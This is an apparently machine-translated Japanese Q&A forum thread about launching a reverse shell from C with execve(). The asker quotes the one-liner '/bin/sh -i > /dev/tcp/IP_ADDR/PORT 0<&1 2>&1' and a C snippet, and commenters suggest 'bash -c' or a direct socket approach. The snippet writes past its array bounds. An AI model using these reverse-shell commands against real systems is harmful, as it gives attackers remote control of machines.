execve
を使用して逆シェルを実行する必要があります。私は次のようにコマンドラインから実行する方法を知っている:execve()を使用して逆シェルを実行してください
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
次のように私は/bin/sh
コールの簡単なバージョンを実行することができます
#include <stdio.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = "-i";
args[2] = NULL;
execve(args[0], args, NULL);
}
私は残りの部分を実行する方法を把握することはできませんよコマンドの私は残りの文字列> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
をargs
配列の個々の要素として割り当てようとしました。私がそれを実行すると、それはCan't open >
を報告します。
上記の逆シェルコマンドはexecve()
で実行可能ですか?もしそうなら、それを行う正しい方法は何でしょうか?ありがとう。
私は '/ bin/bash'で試しましたが、それもうまくいきませんでした。 – Jake
@Jake bashまたはkshは、パスを解釈するシェルでなければなりません(パスされるプログラムではありません)。あなたの場合、パスを開くプログラムですが、パスはシステムに存在しません。そのようなパスに遭遇したときにbash/kashが行うのは、IP_ADDRとPORTの周りに標準のBSDソケットダンスを行うように指示する魔法の文字列として扱われます。あなたのプログラムは、魔法のようなものをすべてスキップし、単にソケットダンスを行うべきです。 – PSkocik
また、 'bash -c'を使ってコマンド全体を実行してください。 – rici